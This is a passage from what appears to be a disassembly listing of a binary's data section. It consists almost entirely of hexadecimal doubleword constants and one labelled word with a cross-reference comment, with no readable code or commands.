56BBFC9h, 746021F9h dd 4E970BC1h, 9D030BC4h, 375718A1h, 8930AD5Eh, 42011558h dd 0B8ED3DCCh, 1C3489EEh, 0CB1A4EC9h, 0F03143B8h, 2B9B32Ah dd 48E18992h, 98FF2909h, 800446EBh, 960ED254h, 8450F88Bh dd 0A1AFB531h, 448C6A92h, 59BD3F23h, 60D3DDCBh, 1A5B7D11h dd 9494DEA3h, 8738DF58h, 9068B25Ah, 543127F4h, 0DA8A6277h dd 0CC2E040Dh, 2E006465h, 25B92CC4h, 0A8FB0Fh, 77BF7536h dd 5B1B8D3Bh, 601EE691h, 0B2EC28C0h, 7DB7B476h, 15989F61h dd 26004DD6h, 28F1F6Fh, 0C8E727h, 0EC866EEEh, 5B1ECCB5h dd 0ADA4CF7Ch, 5812B304h, 805E08E9h, 84D0225Dh, 3A4E1D47h dd 91671489h, 4682C6A0h, 51EFE10Fh, 57ADCB0Eh, 82DD1B1Ah dd 8E14187Bh, 0DE1D29D6h, 0BACD2DC3h, 118CEFC1h, 0ABC9E0FFh dd 57AE4D13h, 0C267A892h, 779D2B61h, 17D5E22Bh, 222E40B9h dd 60E6CD03h, 0B578AB18h, 810A4D76h, 0DED54C52h, 6739D11Fh dd 0DB30AD87h, 0B4515580h, 0B5223920h, 0F594F802h, 0CB5C5F4Ch dd 2FC20E51h, 51485A4h, 0D9B81EE9h, 0CB79DE89h, 0EF511CD7h dd 5F44A0D4h, 2586EBEh, 62A14A4Dh, 51925ED3h, 0FC4D94BCh dd 0F4AEB3A4h, 4609D8AAh, 6D9C3500h, 4BF21650h, 0CE1E0009h dd 598D5399h, 1925FD3Fh, 5A2446B6h, 4BFBE7FCh, 0FF00346Ah dd 66859C0Dh, 73B5E3BBh, 70902060h, 7A5BBD79h, 2BBCE7Ah dd 89F0F88Eh, 0C6F5EB97h, 6CDAB5C9h, 0D3243425h, 18155958h dd 0A3635E35h, 4ADB3CBBh, 8B2FACB3h, 6112F159h, 928DDAEAh dd 2F823898h, 0D76B34Ch, 0F6B59C20h, 4512DEE3h, 0F7B1066Bh dd 1C0B4Ch, 0DB6C567Dh, 0CA28B11Ah, 1985CC00h, 160696AEh dd 0E5132F18h, 0B2006344h, 0CD488595h, 4A0AA89h, 9F7AF4CAh dd 0C47EBD71h, 2A2913B5h, 16B27DE6h, 4BC16F30h, 9141C441h dd 2F502FB1h, 0E36F1912h, 0DBB0AB00h, 877E075Eh, 811F0C00h dd 1346C1D7h, 3D9A9758h, 60E87146h, 41AAE0BDh, 0C3A005B9h dd 0EECA0391h, 9ED0BCD8h, 92422D47h, 4D45B857h, 0AC84A41Ch dd 5D60B54Ch, 0D30281D2h, 23303FAAh, 82EC5561h, 19228977h dd 6DD4B52Dh, 0A8B06196h, 4748A32h, 48116840h, 36EC0059h dd 0F75116A1h, 96023EDCh, 0B190A6D6h, 1E6DF9C6h, 5624C5B4h dd 79CBEE85h, 0A1F12A01h, 2B5F03BFh, 0A6BF49C4h, 0D8BBE56Fh dd 210EDAC1h, 0C44EEB81h, 0B6BA616Ch, 4D1B1227h, 0B98004EAh dd 14B8012Bh, 61CDCDFFh, 0C814602Fh, 6A4EF834h, 0F6E422BDh dd 0D3AFA003h, 0CC582898h, 0BC9D54EEh, 0F3565850h, 8981CF14h dd 0CC5AC490h, 68A4D9F9h, 31F98A02h, 7530218Dh, 810324EEh dd 7EF2F6C3h, 0ED345A6Dh, 91F8F4h, 48B0A214h, 577C0B8Eh dd 8B0A9997h, 2C949928h, 0A2495477h, 63F01380h, 3669AF61h dd 18926E7Fh, 856A11C1h, 852A63E1h, 0FD25C98Dh, 97FCC661h dd 0CF1064D8h, 381860Fh, 920ABDB5h, 0D700562Fh, 67324754h dd 0B0C6485Fh, 24210986h, 0D936739Dh, 0C4A1818h, 0A342A2FEh dd 0E92DFB96h, 10F07282h, 8919ED85h, 0F2107D01h, 0A16D0BBh dd 0CCFE3FF2h, 0FE12BF2Eh, 1EF290F8h, 2B3EEB00h, 421E3578h dd 0B0A9C700h, 0B2B3FE49h dd 0B750095Bh, 375F90ACh, 0EFCC00C8h, 0B4C04852h, 0E70F4117h dd 0EDFE21FAh, 0D8FA042Ch, 1D003A5Fh, 0FD71108Fh, 6B09F12Bh dd 0BF7F0A85h, 738D0B78h, 6CB71E64h, 0BD4B14A2h, 70089314h dd 0A43423DDh, 9B5A80ACh, 61BB96E6h, 3AD62F76h, 0A43E5EB1h dd 99E60B9h, 0D10EEC68h, 5ABEDD61h, 0F5478020h, 0B3A1009Dh dd 55F49B7Eh, 500F146Fh, 29735357h, 0E9D1ABh, 447DAA24h dd 0DF3ED97Bh, 5DB180FFh, 0A43AD8EDh, 0F900C5Fh, 0B32F0280h dd 7CC0DD5Fh, 29C751DBh, 2FAF61FCh, 0D468D37Eh, 570E7509h dd 7C9E1F96h, 93D204D4h, 0B84AB3B5h, 0B31C9ADh, 4FE85A50h dd 0E03720D1h, 36072576h, 0F9E59928h, 0B34E1920h, 0C68E031Dh dd 9D1B4B94h, 2D55A412h, 5BD8CEFFh, 26BDD212h, 0C00BF2BCh dd 0F4F7E1BEh, 0CDD0942h, 727330F5h, 4F6C002Ah, 398E86F0h dd 0C80202F6h, 4B7C7F23h, 36978FA3h, 0C084B00Ah, 75595042h dd 0E7165ADBh, 7161430Bh, 40C280E4h, 0A30A5F1Ch, 8D6EF700h dd 64023A46h, 0D09B085Ah, 0C58006E9h, 0EBF3F5A5h, 9299B40Ah dd 0F9B35231h, 90A0D7E1h, 8E374BE9h, 0DD7A109Dh, 6E137559h dd 5965F8FDh, 0D70A8923h, 0B731DB14h, 18C51EFAh, 0A04BA05h dd 548C50F9h, 0AECF006Ch, 92FEBAACh, 0CD018048h, 0C065C51h dd 0D07690CCh, 0FE3488F0h, 1DEBB0C2h, 0A5495C82h, 0D5803DBDh dd 8C3297CAh, 0E9DD176Ah, 7CB3A7h, 9565247Bh, 9DBFF09Eh dd 50AFC556h, 5B1D402Ch, 4BDF92C2h, 0C98A5CE6h, 1F331F80h dd 0EC951702h, 0C9BD111Ch, 871CA931h, 0D0282FA7h, 0F9646D7Eh dd 86B13191h, 0D65DEE60h, 0E2BDC071h, 3A4E912Dh, 732B44F1h dd 47090970h, 27C9B529h, 0BF02B07Fh, 748E4070h, 5A51EAE6h dd 8067A803h, 0ADCF805Bh, 0B77112E4h, 0E37EE4F1h, 4E205689h dd 0EADF8A99h, 7B66C06Dh, 8CBA4A2Dh, 2C44216Eh, 9A9097C1h dd 9301A346h, 619E5414h, 2E5C85h, 7BB9608Ah, 3A58D0DCh dd 27E5C072h, 19E9DC0h, 0BA4ABC48h, 6324BF6Ch, 11EC5F3Ch dd 589BC4C1h, 0AC142E61h, 129510FBh, 4A62B35h, 0C556B38Bh dd 38D08DBh, 5D3808Bh, 730170D0h, 175D9529h, 3385BE04h dd 3861BD89h, 18657F3Dh, 0D18DAB8Dh, 3D018501h, 8D2A93Ah dd 485843C7h, 41B30B5Bh, 0F535C97Fh, 57AF322Eh, 225778EAh dd 5C5B6115h, 521E44B4h, 9DC2DFADh, 425C2669h, 0C99E51A0h dd 8AB5B69h, 902F5DB9h, 59B87h, 1AB004CDh, 0E360EA78h dd 5BDF8B0Bh, 0E002CD6Ah, 8FE37B86h, 0BD0D0602h, 57AF47B6h dd 1009C131h, 706551h, 61EF31AAh, 0BB9B364h, 0D3D2104Ah dd 6AAB5C59h, 0EFF2D43h, 24A6F3DBh, 0EAB2E7E0h, 0D4E3D209h dd 8ECD5D2Bh, 0DA2134C0h, 742B9725h, 0CE67CD5Dh, 0B49C6622h dd 0DD17Fh, 0D404E381h, 0D4A643E6h, 8048183Ch, 17BCA309h dd 9F6052F7h, 12054C04h, 5A0A8FAAh, 6E44A0E1h, 4D0DB7B4h dd 0B1F8B688h, 236A5216h, 6EDA7F03h, 0E58A103Ah, 16034810h dd 29EF1241h, 2EDEDD01h, 52817A34h, 8B6B1AADh, 0C01CD4D2h dd 783EE6A7h, 0ED1C004Eh, 8BB2F81h, 574BE0DCh, 41222C8Ah dd 894A0B7Dh, 0F9258DE7h, 0AA8AD566h, 0E1FF9868h, 0C03D6D9Dh dd 0FB83510Ah, 55626290h, 56D88B4Fh, 40850ABh, 35A67EE1h dd 30ED73F1h, 54954103h, 0B1F37165h, 19F52653h, 358E8E2Bh dd 0DBEA27AAh, 72AF8032h, 4A60E4B7h, 0BF66C4F5h, 9604C26Eh dd 0BE11AC9Bh, 0F60AA540h, 0D30C8F0Fh, 0C3D6EC27h, 84798D29h dd 80B5B701h, 2EA93BE1h, 0F75A0FB8h, 9DB7C8h, 9AE40827h dd 71F3DB33h, 645D5E07h, 6AA485AFh, 71CA8ADh, 4ADC2701h dd 0BFBA90DEh, 0EBE7066h, 6BE52310h, 2111020Ch, 0C49DBD23h dd 0D2F1ECC7h, 11F1A75Fh, 5F71080Dh, 4F57A256h, 5B2E71BEh dd 95D47A5Fh, 91B83DB9h, 0B5B06513h, 846208A3h, 778B145Dh dd 3CBBE060h, 429A6407h, 0E3529868h, 81485757h, 67712434h dd 29BFC58h, 9523D48Ah, 4B4B5851h, 0C4F0FD61h, 0E6BBB255h dd 8DC4F047h, 0FF2D0B34h, 0BB85F8D7h, 25D0B8DBh, 27A9C4ACh dd 155C155Dh, 50ECFB5Ah, 0DD02FD9Bh, 0BD9CA592h, 95F568CFh dd 0E11264B9h, 4B91AC5Fh, 3BEC32BDh, 74001573h, 7C052862h dd 0AD38189h, 66F8BCCAh, 8F42A5C2h, 0ADB5BDFDh, 6CAAA17Fh dd 742B2384h, 8D6AEEACh, 0FE897012h, 9E80DE9Bh, 0A3FA43F2h dd 0A77E2712h, 0DBACB465h, 0B10E7712h, 36339Eh, 0BE4B4927h dd 0E400CDAh, 50965E86h, 0A5A90453h, 0D69AAD07h, 0FA109CC8h dd 0BF460078h, 8BC9A41Eh, 5D070D26h, 4B13ED1h, 68184FA0h dd 0F4E9047Fh, 0E58D0FE1h, 0F8775132h, 84802B5Fh, 242A1A80h dd 55688D1Eh, 60A4C700h, 613FE9Dh, 74D648BFh, 0AD20CE3Eh dd 0A2904E1Fh, 0FEC20031h, 86D6B6EAh, 0F59A9760h, 94504487h dd 2D8ABF83h, 0D9007D38h, 32F55A66h, 0A6724512h, 6198F200h dd 0C2E6C3BFh, 93907F8Dh, 335002D6h, 10484DBDh, 3795615Fh dd 0DE540088h, 8AFA7D98h, 6FCFDC4Ah, 0A5C9A64Fh, 0CA7B17FEh dd 440B38A4h, 0A5038921h, 12B77F24h, 5EC52h, 2F45D513h dd 0EE79FFEFh, 0AA5DCD40h, 5B8C1E8h, 0D409EF15h, 71E5562Fh dd 66837584h, 0AC14F0B7h, 0C8EE4EF8h, 6F45551h, 0D47741Ch dd 880FC4C2h, 1AB72102h, 35E34B5Bh, 9BEB8442h, 0BFD8C487h dd 1B54EC0h, 0EFF19F06h, 1CB6516Bh, 6FC60960h, 298B9D59h dd 9650749Dh, 0BD2F060h, 65FE4082h, 0E57F8A23h, 3ACF51B0h dd 0F98E53B8h, 0F1F8CE6h, 3BEEE85Eh, 25F06296h, 0AC5B040Dh dd 2BC9D7D0h, 2780823Dh, 6D547945h, 597783Ch, 5B19B5A3h dd 275AA2BCh, 0EC84E0A7h, 7300DBB3h, 13E23823h, 97679B7h dd 0D2C78BCh, 5347CF7Ch, 0AE905549h, 594F9509h, 0C0F67D17h dd 683017B2h, 0B5F2523h, 0B73782F5h, 60D956DAh, 253977BBh dd 0BFDA564Ah, 0B4C018C8h, 5B6CAF55h, 0A19CB062h, 99302BE7h dd 255B8FBBh, 0B07F71A7h, 852F11E9h, 6D808729h, 7D67E99Dh dd 0CDD6047Fh, 94FDB529h, 0D553AACCh, 0C098DAFFh, 0BE9AF175h dd 0E334269Bh, 14D509DFh, 4248D056h, 1DA9EA81h, 7E6CE17Ch dd 0DF13A458h, 439AAA5Fh, 0BA2A6097h, 0BB00B19Fh, 28AB30DDh dd 0B660DE34h, 0A8EC40CBh, 74001D31h, 0B12DBE54h, 0A1168B59h dd 0C12F11D8h, 62024551h, 1261483Ah, 0C8B72035h, 3CBCB459h dd 0F50B0D0Fh, 73B3C279h, 5E10757Bh, 6A12C965h, 9BBE6088h dd 15CEC0E2h, 209D8998h, 0AD8A2E21h, 40BB95D7h, 119474DDh dd 0CDF0DC03h, 0BA950141h, 3196D702h, 0D47BB4h, 602105F7h dd 0C18134B7h, 44098DECh, 5C50610Bh, 0F092403Ch, 0BE01FC63h dd 0AC023205h, 0F425684Eh, 16216E7Fh, 24C83369h, 0F7401CEh dd 4D4E0BD0h, 529B588Eh, 67AC605Ah, 0FF3712D2h, 4369E3D8h dd 0D9D1D32Ch, 9B718BB3h, 0C3C11E78h, 30969225h, 769F5029h dd 41BB4052h, 17F5149h, 0EFBDF94Ah, 1F8C1AACh, 4B034B1Ch dd 0DF82E131h, 0F42B0C83h, 80269B5h, 325C18C1h, 7043DBE9h dd 0A34A95E8h, 31C82102h, 0C064933Dh, 950F21BDh, 89763CCEh dd 5C20CD27h, 0A55E71A8h, 40B7D760h, 0CDDCBC00h, 0E0C28BF5h dd 0AA014AB4h, 985E126Ah, 0FE038B10h, 15BA2DF1h, 575BBAACh dd 161957E0h, 0D39C681h, 0E3059D12h, 185AD632h, 10AC5689h dd 0D4E91214h, 601BE0h, 0C2CAE2BFh, 1936B930h, 610FBE12h dd 27D708B0h, 115D937Eh, 8BF8FC81h, 4DCD97C1h, 17549BC1h dd 4AC12960h, 0CB3DB931h dd 0F6C4D550h, 0E172E895h, 0F7950054h, 539BFB40h, 23EA6837h dd 2F61E9F1h, 0B11089F9h, 76D4C08h, 10416A88h, 0E47D4D3Bh dd 3358AF33h, 9E08FDAEh, 72786F20h, 62A02B29h, 234EEBFFh dd 0C7F081A6h, 0C63ABFF8h, 5C09AD5Eh, 90DF4243h, 42251E7Ch dd 0DF3277D9h, 0B98A53F6h, 60174F1Bh, 2AD2F51Eh, 0C3F8CFAh dd 0F109A172h, 5961C293h, 0BD2982DFh, 38D712CDh, 90D1FF78h dd 0A3BA1803h, 32755609h, 282B6181h, 6FBF6BACh, 57E960FFh dd 31155222h, 25B6019Dh, 3EAA568Bh, 0B7EB8181h, 716E5FA1h dd 0F6FD2BE5h, 8E0B16E8h, 56F99B09h, 8AF55351h, 0BF660A3Eh dd 9709A4FEh, 628F590Ch, 209EC09h, 5C0739E5h, 9BB3C007h dd 0BA00D2EBh, 5FF4B5A4h, 0BC3F92h, 9D54A913h, 929B74Ah dd 73159534h, 0A56FE6BFh, 0D7C12672h, 2BF9BEB1h, 9BBF8034h dd 3773C036h, 4C0B1408h, 994A4EB2h, 0D9708261h, 8104870Fh dd 0AD7DBF09h, 0A068372Bh, 6AD52FBBh, 80E638F7h, 0A8E747BEh dd 5C540362h, 0F51E9EBBh, 9A2E8290h, 357E4509h, 91F28244h dd 25BAD232h, 0B9FF0825h, 1F141D1Ah, 252F10C7h, 79B160B0h dd 616C0BBCh, 8275E6F9h, 22AE5DFh, 954671E4h, 0AE536402h dd 56D79868h, 62F19155h, 106597Ah, 0CEA18D31h, 50595009h dd 276022BAh, 2E6A9533h, 34F11941h, 297519Ch, 5596FE4Ch dd 204E816Bh, 888928A8h, 2B34B0D5h, 0D2519DC8h, 43E5A00h dd 27A76Bh, 5E1D0372h, 28A48F51h, 5CD18B2Fh, 0F8FAC06Eh dd 11D692E9h, 0C5BAB116h, 4876B346h, 59592F71h, 4C440E0Ch dd 14705F29h, 0D687F712h, 8D7E45B1h, 1EDBF46Dh, 1FB4021Bh dd 0CB12021Eh, 27CA6C92h, 15914E56h, 8B47BB00h, 4AE97056h dd 88BB15D6h, 263F73BDh, 662AA5E5h, 8531095Bh, 0B1D51D4Dh dd 4152A05h, 0ADFED228h, 3353815Bh, 572831BDh, 40EEFC4Bh dd 8A4B0F69h, 0A9B48EACh, 6DC48463h, 0EA0B1412h, 0A745AF97h dd 8BFF0211h, 28DA5EFDh, 0B9F8E081h, 0BB122FCAh, 444DC8h dd 5CC4DE68h, 7185A0Bh, 8B8EC809h, 0D1EB814Dh, 206A5F6Dh dd 13ACDD03h, 0E187D900h, 0F89E4D5Eh, 5D95A260h, 0F697BA6Ch dd 31FB9DDDh, 6A1021CAh, 14C817CFh, 0F733E4C2h, 0D22B4D90h dd 0F029522Eh, 5B252710h, 23E03FFFh, 0EEE19699h, 95FB8FD8h dd 92983692h, 8300A079h, 0B5D14238h, 0B65F51Fh, 33D67D9Ch dd 0CBC0E354h, 46422780h, 24FC4467h, 0AB1C9795h, 79E2258Bh dd 0DA4AD6DAh, 6E2717CAh, 75AF4BF3h, 762D23B8h, 0BB57C813h dd 55F90DC2h, 1D64EC4Dh, 0CB198860h, 787F3F1Dh, 8FBB1B44h dd 0ADA831D5h, 0E81A009Ch, 27C63317h, 89B32B3Bh, 55DEB536h dd 81BF03B0h, 3187A34Ch, 0E1FFDDF9h, 25C5D5ECh, 44652EFAh dd 0A6D76810h, 0A7BAA4B8h, 458A4ABEh, 0D77B5227h, 0E623FD8h dd 9BE38091h, 0B22C127Eh, 93EB8E63h, 0C09ED59Eh, 4FDCB670h dd 9825A1E0h, 2DD046E6h, 404A8529h, 66A7FAD1h, 0EFBF040Ch dd 0BA6B36D5h, 3090451Ch, 81EFF44Fh, 883A0C45h, 4502BDC2h dd 0FDFA1D87h, 54F40A6h, 3C5B952Eh, 941C304h, 2B015A21h dd 0C1A089E7h, 0AC2C73B6h, 5A2D2BC9h, 806009CCh, 0B155EADAh dd 0F87A8582h, 9A612F14h, 0C4CEDF96h, 3DF935B7h, 0DF0AD380h dd 609085B7h, 56537390h, 7A43008Bh, 0FF9E2AF4h, 0A85B5B1Eh dd 22BA5F57h, 0D1D46AEFh, 177904DEh, 407E3A8Ah, 0F00A2A68h dd 2B5BEE2h, 1D2EF9D5h, 0D30045Dh, 0E478A6AFh, 0A60042B6h dd 42630E6Eh, 7F28B21Ah, 714FC035h, 558049FFh, 4155CF5Fh dd 2AC67FEDh, 7EF281C4h, 30C6B00h, 6705B597h, 0A68B4900h dd 0B98452F3h, 0B2575B8Dh, 0E996B73Dh, 0D85B9D14h, 4B6977D2h dd 8F242BF2h db 0EFh, 0E6h word_505446 dw 0E037h ; DATA XREF: ___:off_4274D8o dd 4A4B0675h, 6E81CD5Dh, 9532F3F0h, 0FC6BAD59h, 1D00D4EFh dd 5829BEB8h, 95DDDFC7h, 2A16F761h, 33490C8Bh, 6B3D55ACh dd 0AA350BF6h, 342B8AC4h, 0ED3C522Dh, 62F0A67Fh, 5E2DF91Ch dd 1F40E90Bh, 37B70446h, 8C610BB0h, 0AD82B0B2h, 960419A9h dd 3DC188EBh, 69E6280Eh, 4496508h, 6020CCBFh, 60F48A25h dd 930BF03h, 964EA12Ah, 238209B7h, 4637A8C2h, 49D20049h dd 348F6148h, 0FDEA26A7h, 0C55DB12h, 0EB6DB7B1h, 4B1DD5ECh dd 1841BFAh, 6DFDA585h, 7B72CE5Fh, 27C94AA0h, 4F41F400h dd 9A16C87Fh, 2F5905DDh, 0BFF8B333h, 5D57F4C2h, 0FED5271Bh dd 0E47BFBDDh, 8B69C9C8h, 3865DC9Dh, 0B92BBB02h, 96905ACEh dd 9A09F4BFh, 595852E9h, 1900BEFDh, 9033460Dh, 8F9862B7h dd 15712290h, 0BB405899h, 475710Fh, 0DF806163h, 0CCE7BF4Dh dd 85D5ADA5h, 37C242B8h, 598C56A3h, 0A4C41423h, 0BBF7EFh dd 0B339C56Dh, 52D4F6h, 9936B4CFh, 26E23D2Bh, 0E9C8B65Fh dd 8759FE80h, 0E16D955Eh, 3C060CC0h, 0CB640039h, 0D7805798h dd 37955BBCh, 0EF600724h, 0AC680466h, 7DBEA2B5h, 0E0D0A773h dd 0CA763B1Fh, 0A2BE125Ah, 558DCDA4h, 616B3021h, 7F7DC599h dd 1AC8F29Ah, 0CD6F80CFh, 12693C56h, 0B3F98A36h, 0BD244AA4h dd 0F1FBBAC0h, 0AF90020h, 9373CB3Dh, 0BD0147E4h, 7A356C38h dd 0A62ACDF6h, 3216B2EAh, 75BE427Dh, 1950230h, 5BA71D4Ah dd 5BFE0B25h, 8B579640h, 66D19FF8h, 0C7808B3Ch, 0D39021Bh dd 79E57F0Ah, 17A99412h, 2016AD7h, 8E4E7A5Dh, 25467571h dd 0D7850CC9h, 2F8970A8h, 196281EFh, 0CFF3576Eh, 0B2DB52h dd 0F9F00803h, 7A0039BAh, 66FA4DE2h, 0BD539BBBh, 0AA302404h dd 0C2FF1F74h, 87560A17h, 9D1AF5EBh, 973D17Dh, 48556160h dd 860D8549h, 0E92FD1B0h, 580E5423h, 148518F1h, 0DA55E757h dd 2BF5E201h, 0D349FD2Fh, 0F57D99EBh, 0DBA22A13h, 9DF8CBB8h dd 3F2FD502h, 7E524773h, 91F10FBh, 7150965Fh, 181500F1h dd 66D839C8h, 21D6AB00h, 0AFDA7364h, 4F3F06DBh, 36C99D8Dh dd 9AB7BFh, 0E4CAB0D4h, 0A47FAB5Ch, 92516924h, 0E38209C5h dd 1303D203h, 0FC266D8Dh, 1CE1B154h, 41F3DD3Fh, 2A729A04h dd 0B776BD28h, 660014Fh, 0B46DC1Fh, 0A98E76ABh, 0A481C2F0h dd 0D167AD35h, 39D9107Eh, 0B243E0E9h, 0C294CFh, 5FE19663h dd 0F02A8E79h, 1B91EB13h, 0E6FF64ABh, 0CA2DA010h, 5AA8735Fh dd 0A913EB4Ch, 5B8FBE09h, 96012F7h, 255005E0h, 614AA3F4h dd 47436AAAh, 0A69D2CE7h, 0B17D9900h, 5FE4689h, 226CDF81h dd 0CC64AA4Ch, 730FF4E2h, 4103EF49h, 7602B06Ah, 0F9891A43h dd 3A35D531h, 7D801C91h, 3202B0FCh, 0AD684909h, 441C591Dh dd 5560493Bh, 61519A64h, 2342ADEh, 27B5F009h, 0D509C6BEh dd 0BBC500CDh, 5F0EE6BFh, 3FAF975h, 0FFF44B82h, 0C1C2F88Bh dd 4FB3757h, 0B8D29D2Ch, 0E1038196h, 10F80782h, 0D1AE3FDAh dd 0A4E4432Fh, 0CF4FF4BDh, 0EF51D1E9h, 8F0F9085h, 0ABFE28ABh dd 3E0E11FCh, 82936DF1h, 4828C903h, 90FB8B83h, 43199482h dd 0A9B86C1Dh, 1B018763h, 2C83F419h, 50D6346Eh, 19F34A15h dd 7C85708Ah, 8E3CC448h, 0D31C42FFh, 0EFDF15E5h, 96414FAFh dd 8497E74Ch, 23FA65E4h, 170C6FFFh, 41EB9B6Eh, 0EBB41275h dd 8EB09D05h, 490662E5h, 496D11B4h, 0EE89F82Fh, 0FF709BFBh dd 0DFD1BF03h, 0E9F38086h, 4A93904Ch, 4FB0A215h, 132F8CE8h dd 35A7F9E5h, 0AEBA0552h, 59A2FEF1h, 7F61F14Fh, 8862B6CAh dd 56090C69h, 5CAA0B6Bh, 0F6D17404h, 0E288E1CBh, 4AC8C460h dd 225FCAF5h, 0BE8AEC72h, 6AD961BFh, 56E3A02h, 0EBFE6616h dd 0BD03DF30h, 0E91A5E6Dh, 7A57C0DEh, 0EE02590h, 562EBF27h dd 0FF5F3784h, 0F1C249DEh, 89FDF567h, 8BFCB0D9h, 6DE92FDEh dd 6F12F5E7h, 0CA7A6316h, 8561CF16h, 11D73079h, 0EB392BFFh dd 44037C02h, 156C18E9h, 0ACB8A40Eh, 5F278859h, 5070C1D3h dd 95587DE0h, 11FDF10h, 0B9595F0Bh, 281555C8h, 2F9E464Bh dd 0E6D6DD0Dh, 0C2FD9C7Eh, 0DAF7F0D7h, 0C9B04A5Dh, 0D17A6FCCh dd 4BDFC010h, 0BBE47EFCh, 1F4C636Eh, 0F912053Bh, 8608FEEAh dd 0A95E3C1Dh, 1EDAD23Dh, 0E8F2F580h, 0B6D7C0BFh, 6A32C1AFh dd 12F62AFFh, 0DB027BE0h, 0E341C017h, 15751305h, 878C9EEAh dd 0E7D02808h, 4B8CC55Bh, 0FE2F9812h, 1BD10E1h, 28988411h dd 0E07CCB03h, 8D6070E6h, 63B78DEEh, 80B00E0h, 0AE8E35E8h dd 9520127Dh, 0C67302ABh, 1BE1D2B7h, 0A1C2CEF3h, 2CA228CBh dd 8FF28101h, 4B3D0BE8h, 0B74A9261h, 97819510h, 9D6374FCh dd 475B4A5h, 161509B8h, 95310B02h, 0B20E761Dh, 0FE09070Ch dd 0E2F78927h, 0C82BE700h, 519DBD33h, 0A0D11396h, 755FE940h dd 8300AE3h, 4C508521h, 74475531h, 892A14E9h, 37BD3066h dd 0E2AC41Bh, 9D981212h, 3F19B14Dh, 18122DCh, 1B5F0E3h dd 983EE966h, 0D90F917h, 18568A0Ah, 0F30FC548h, 17E1B269h dd 33C2133Ch, 8468219Dh, 45B5DC8Ah, 41DA101Eh, 0F9C1015Eh dd 1E8A6A13h, 407B8E10h, 8A2DD9D3h, 125E0ECh, 15AD259Dh dd 978310CEh, 55480C6h, 0EFFFB992h, 0A9BFF85h, 0ABD9BAD6h dd 4AC99130h, 9BF3C573h, 60DC043h, 2336993h, 8CF1AFD0h dd 0F34DFCF3h, 0A45521EEh, 0A3437DBEh, 2B0484B9h, 2D4E93C0h dd 0D1D21125h, 0D7818030h, 7C671518h, 0C41D1E97h, 0BB231140h dd 0B5F088F6h, 7E1D4D3Eh, 2FC2D68Dh, 7E890F7Dh, 9885445Ch dd 204E6199h, 54220849h, 0C2016B6Eh, 3D242DBDh, 701D206h dd 5FCE2AE8h, 0A90CF92Bh, 670C2467h, 0C56C60ABh, 70FF304Bh dd 2FD9DBCh, 0F37F6181h, 0B26BE97Bh, 5A814FCh, 8FDD79EBh dd 8C07FE96h, 7FD9B19Dh, 621927C7h, 9F2FB84Fh, 9FCC8080h dd 97649093h, 0C6491Ah, 0DDC84C00h, 0FF8BD08Fh, 0DC479CE1h dd 3F33A095h, 5F906041h, 0ECCC84EBh, 6FCA4ACAh, 8161D034h dd 2A2EFDAAh, 0D822968Eh, 0E9E75750h, 56666ABDh, 72D05235h dd 787CDBBFh, 4C4FFF5Ch, 7763E0C1h, 3D09EBD0h, 609716A8h dd 0C962AE52h, 57C9928Ch, 0CDB725D8h, 0BEA3C46Dh, 2FB31012h dd 4904A64Ch, 0B97F3CA4h, 0E63F2230h, 12312795h, 714914F9h dd 0BD0902A7h, 0B5C32E5h, 903BA1E8h, 5B132F05h, 7F0BC990h dd 0FA39E2A3h, 0ACF63B01h, 7A1ABFE2h, 6A90BB91h, 0B87DED2Eh dd 9E573CBh, 0F53B0884h, 0B6D0BD82h, 714BEDF9h, 3559004Eh dd 0E0E1B1C5h, 5B610BFCh, 0EF0FBF88h, 0F664D27Dh, 82F25317h dd 0CD5FD500h, 75197A46h, 7BA36E00h, 0F833712Eh, 0FC409DFh dd 85D88BA0h, 0D1A4E278h, 104007BEh, 4913BD18h, 3AE8FD78h dd 160BB071h, 77482112h, 3F9959Ah, 8989099Dh, 81B0570Ah dd 8B03B24Eh, 0A4349E31h, 0F0FAA13Fh, 0A747172Eh, 0F9C7B232h dd 0EE9E00F4h, 8A440664h, 17DA900h, 3E4D7E0Dh, 0C2080F15h dd 4507BE9h, 0F55BD31h, 0EAA474AAh, 0F9A38D12h, 0AAF9B712h dd 1923016Bh, 8D954A00h, 950996FBh, 0C156EDBAh, 1C480BD4h dd 6DD789C7h, 82D6E158h, 0BD203FB6h, 4AA02Ah, 0B0BCEE26h dd 0DCED1942h, 9BEC8C00h, 0DDC776B2h, 58FBBF64h, 0B96E5Ah dd 7F8F3240h, 920CAC08h, 4CFDDE5Fh, 1345B508h, 0FA5BCD2Ah dd 309B6113h, 3F9C1F80h, 0B4040BC6h, 0FCED4122h, 623767FFh dd 53F70801h, 0FE7A30B4h, 14035268h, 72B33FEDh, 0AD880F81h dd 0FB32F217h, 0BE020D6Eh dd 73687FAFh, 0E4E7FF8h, 17DFC6A9h, 2DAFCD8h, 0E9505A52h dd 6C8C2011h, 0CE0023C9h, 46997B04h, 3C38F98Eh, 688645E8h dd 0C660909Eh, 25BE08EFh, 5073DDEEh, 0B727F51Eh, 0C45D0422h dd 9009FB95h, 0DAE4FC26h, 6762166Dh, 102AF651h, 535B2520h dd 847F4B7Bh, 0BE122FC7h, 3AF983CEh, 0BA012BE3h, 0A683E6A2h dd 2A3EC53Bh, 1416DEBCh, 4B95E8B3h, 52653CFAh, 87425689h dd 9F2C580Dh, 3D985EC5h, 0DF812Bh, 68BB8B3Eh, 13D3A9BFh dd 0A462035Eh, 88CF200Bh, 420199AFh, 51F4B7A8h, 94B9E345h dd 1AFB1D2Fh, 272AF0A7h, 38FD02FDh, 25BD3392h, 4C6E14A5h dd 0D9222B7Ch, 8BFAC207h, 515557F2h, 615F00B2h, 6CC2BB50h dd 962A4C1Dh, 651294EEh, 0F65BA9C2h, 1446D658h, 0D98AE309h dd 4DA5725Bh, 6BFD4B1Dh, 0B2C9E0C8h, 0FA0D4ECCh, 0D465B563h dd 0A8366D39h, 8FC809DEh, 24822F15h, 66040FB5h, 4EA81FC4h dd 459D31C1h, 0E5400A1Ch, 0FA234E1Dh, 2DB9A035h, 829577A8h dd 5FB70F5Ch, 89AFDED1h, 96565163h, 3071C860h, 0FE796F02h dd 0FD892FD7h, 5F3B06DAh, 208D960Bh, 8896C3F8h, 6E00461Eh dd 6D7434EEh, 40CA298h, 50C3D1A8h, 80C3B86Ch, 4103F6C8h dd 0F99400FCh, 0CFACD916h, 5014BEEh, 0AA202C3Dh, 1F273C01h dd 86C0B158h, 0C8B1BAC1h, 17AE8800h, 0A5AC8F69h, 9FE605F6h dd 0FE5306CDh, 0A848D2Ah, 618281C5h, 84BE0402h, 52DBE551h dd 0D663F988h, 0CA51508Ah, 93AC88A6h, 50382DDEh, 51616F74h dd 